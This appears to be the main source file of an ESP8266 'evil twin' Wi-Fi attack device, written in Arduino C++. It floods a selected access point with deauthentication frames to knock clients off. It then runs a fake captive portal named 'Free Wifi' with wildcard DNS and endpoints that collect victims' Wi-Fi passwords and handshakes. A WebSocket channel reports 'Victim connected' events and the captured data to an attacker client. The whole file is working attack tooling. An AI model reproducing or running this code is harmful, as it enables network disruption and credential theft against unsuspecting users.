1#include <ESP8266WebServer.h>
2#include <DNSServer.h>
3#include <ArduinoJson.h>
4#include <LittleFS.h>
5#include <WebSocketsServer.h>
6
7#include "utils.h"
8#include "wifi.h"
9#include "server.h"
10
11
12// Global variables
13IPAddress APIP(172, 0, 0, 1);
14const byte DNS_PORT = 53;
15DNSServer dnsServer;
16ESP8266WebServer server(80);
17WebSocketsServer webSocket = WebSocketsServer(81);
18AccessPoint accessPoints[20];
19AccessPoint selectedAP;
20File fsUploadFile;
21
22int attackersId = -1;
23int AP_COUNT = 0;
24int DEAUTH = 0;
25
26void deauth(AccessPoint ap){
27 for(int i =0; i< 100; i++){
28 wifi_set_channel(ap.channel);
29 delay(1);
30 if(wifi_send_pkt_freedom(ap.deauthPacket, 26, 0) != 0){
31 Serial.println("Error sending deauth packet");
32 }
33 delay(1);
34 }
35}
36
37void webSocketEvent(uint8_t num, WStype_t type, uint8_t * payload, size_t length) {
38 switch(type) {
39 case WStype_DISCONNECTED:{
40 if(num == attackersId){
41 attackersId = -1;
42 }
43 else{
44 if(attackersId != -1)
45 {
46 webSocket.sendTXT(attackersId, "Victim disconnected");
47 }
48 }
49 break;
50 }
51 case WStype_CONNECTED:{
52 if(strcmp((char*)payload,"/attack") == 0){
53 attackersId = num;
54 }
55 else{
56 if(attackersId != -1)
57 {
58 webSocket.sendTXT(attackersId, "Victim connected");
59 }
60 }
61 break;
62 }
63 case WStype_TEXT:{
64 DynamicJsonDocument doc(1024);
65 String response;
66 deserializeJson(doc, payload);
67 serializeJsonPretty(doc, response);
68 if(attackersId != -1)
69 {
70 webSocket.sendTXT(attackersId, response);
71 }
72 break;
73 }
74 default:
75 break;
76 }
77}
78
79void handleFileUpload()
80{
81 HTTPUpload &upload = server.upload();
82
83 if (upload.status == UPLOAD_FILE_START)
84 {
85 String filename = upload.filename;
86 if (filename.startsWith("data"))
87 filename = filename.substring(4);
88 if (!filename.startsWith("/"))
89 filename = "/" + filename;
90 fsUploadFile = LittleFS.open(filename, "w");
91 filename = String();
92 }
93 else if (upload.status == UPLOAD_FILE_WRITE)
94 {
95 if (fsUploadFile)
96 {
97 fsUploadFile.write(upload.buf, upload.currentSize);
98 }
99 }
100 else if (upload.status == UPLOAD_FILE_END)
101 {
102 if (fsUploadFile)
103 {
104 fsUploadFile.close();
105 }
106 else
107 {
108 server.send(500, "text/plain", "500: couldn't create file");
109 }
110 }
111}
112
113void setup()
114{
115 Serial.begin(115200);
116 Serial.println("\nBooting");
117 if (!LittleFS.begin()) {
118 Serial.println("Failed to mount file system");
119 return;
120 }
121 Serial.println("File system mounted");
122 initialServerSetup(APIP);
123 dnsServer.start(DNS_PORT, "*", APIP);
124
125 server.on("/", [](){handleRequest(server, "/index.html","html");});
126 server.on("/attack", [](){handleRequest(server, "/index.html","html");});
127 server.on("/css/index.css", [](){handleRequest(server,"/index.css.gz","css");});
128 server.on("/js/index.js", [](){handleRequest(server,"/index.js.gz","js");});
129 server.on("/js/capfile.js", [](){handleRequest(server,"/capfile.js.gz","js");});
130 server.on("/png/router.png",[](){handleRequest(server,"/router.png","png");});
131
132 server.on("/post_ssid", [](){String ssid = server.arg("ssid");changeWifi(ssid);});
133 server.on("/post_handshake",[]() {handlePostHandshake(server);});
134 server.on("/post_password",[]() {handlePostPassword(server); BLINK(5); });
135 server.on("/get_ssid",[](){server.send(200, "application/json", getSSID());});
136 server.on("/get_datas",[]() {server.send(200, "application/json", getDatas());});
137 server.on("/get_networks",[](){AP_COUNT = scan_networks(accessPoints); available_networks(server,accessPoints,AP_COUNT,DEAUTH,selectedAP);});
138 server.on("/clear_handshakes",[]() {server.send(200, "application/json", clearHandshakes());});
139 server.on("/clear_passwords",[]() {server.send(200, "application/json", clearPasswords());});
140 server.on(
141 "/upload", HTTP_POST, [](){server.send(200, "application/json", "{\"message\":\"File uploaded successfully\"}"); },
142 handleFileUpload);
143 server.on("/reupload", [](){ server.send(200, "text/html", "<form method='POST' action='/upload' enctype='multipart/form-data'><input type='file' name='file' directory='' webkitdirectory=''><input type='submit' value='Upload'></form>");});
144
145 server.on("/deauth", []()
146 {
147 int n = server.arg("ap").toInt();
148 if(n > 0 && n <= AP_COUNT){
149 if(DEAUTH == 1){
150 server.send(200, "application/json", "{\"message\":\"Already Deauthenticating - "+selectedAP.ssid+"\",\"status\":\"error\"}");
151 return;
152 }
153 DEAUTH = 1;
154 selectedAP = accessPoints[n-1];
155 selectedAP.deauthState = 1;
156 server.send(200, "application/json", "{\"message\":\"Deauthenticating "+selectedAP.ssid+"\",\"status\":\"success\"}");
157 }
158 else{
159 server.send(200, "application/json", "{\"message\":\"Invalid Access Point number\",\"status\":\"error\"}");
160 } });
161 server.on("/stop_deauth", []()
162 {
163 DEAUTH = 0;
164 selectedAP.deauthState=0;
165 server.send(200, "application/json", "{\"message\":\"Stopped Deauthenticating "+selectedAP.ssid+"\"}"); });
166
167 server.onNotFound([](){handleNotFound(server);});
168
169 server.begin();
170 webSocket.begin();
171 webSocket.onEvent(webSocketEvent);
172 pinMode(BUILTIN_LED, OUTPUT);
173 digitalWrite(BUILTIN_LED, HIGH);
174}
175
176void loop()
177{
178 if (Serial.available()) {
179 String inputString = Serial.readStringUntil('\n');
180 const char *buffer = inputString.c_str();
181
182 if(strcmp(buffer,"help") == 0){
183 Serial.println("Available commands:");
184 Serial.println("help - show this message");
185 Serial.println("ls - list files");
186 Serial.println("show config - show config file");
187 Serial.println("show datas - show datas file");
188 Serial.println("reset ssid - reset ssid to default(Free Wifi)");
189 Serial.println("storage info - show storage info");
190 Serial.println("scan - scan for networks");
191 Serial.println("list networks - list networks");
192 Serial.println("deauth <ap> - deauth an access point");
193 Serial.println("stop deauth - stop deauthenticating");
194 }
195
196 else if (strcmp(buffer, "ls") == 0) {
197 Serial.println("Listing files...");
198 listDir("/",1);
199 Serial.println("");
200 }
201
202 else if (strcmp(buffer, "show config") == 0) {
203 Serial.println("Reading config file...");
204 DynamicJsonDocument config = readJsonFile("/json/config.json");
205 serializeJson(config, Serial);
206 Serial.println("");
207 }
208
209 else if (strcmp(buffer, "show datas") == 0) {
210 Serial.println("Reading datas file...");
211 String datas = getDatas();
212 Serial.println(datas);
213 Serial.println("");
214 }
215
216 else if (strcmp(buffer,"reset ssid") == 0){
217 Serial.println("Resetting config file...");
218 DynamicJsonDocument config = readJsonFile("/json/config.json");
219 config.clear();
220 config["ssid"] = "Free Wifi";
221 writeJsonFile("/json/config.json", config);
222 setupWifi();
223 }
224 else if (strcmp(buffer,"storage info") == 0){
225 Serial.println("Calculating Space...");
226 storageInfo();
227 }
228 else if (strcmp(buffer,"scan") == 0){
229 Serial.println("Scanning for Wi-Fi networks...");
230 AP_COUNT = scan_networks(accessPoints);
231 }
232 else if (strcmp(buffer,"list networks") == 0){
233 Serial.println("Listing Wi-Fi networks...");
234 list_network_details(accessPoints,AP_COUNT);
235 }
236 else if (strncmp(buffer,"deauth",6) == 0){
237 int n = atoi(buffer + 7);
238 if(n > 0 && n <= AP_COUNT){
239 if(DEAUTH == 1){
240 Serial.println("Already Deauthenticating - "+selectedAP.ssid);
241 return;
242 }
243 DEAUTH = 1;
244 selectedAP = accessPoints[n-1];
245 Serial.println("Starting deauth...");
246 }
247 else{
248 Serial.println("Invalid Access Point number");
249 Serial.println("Type list networks to see available networks");
250 }
251 }
252 else if (strcmp(buffer,"stop deauth") == 0){
253 Serial.println("Stopping deauth...");
254 DEAUTH = 0;
255 }
256 else {
257 Serial.println("Invalid command");
258 Serial.println("Type help to see available commands");
259 }
260 Serial.println("");
261 }
262 if(DEAUTH){
263 Serial.println("Deauthenticating.. "+selectedAP.ssid);
264 deauth(selectedAP);
265 delay(500);
266 }
267 dnsServer.processNextRequest();
268 webSocket.loop();
269 server.handleClient();
270}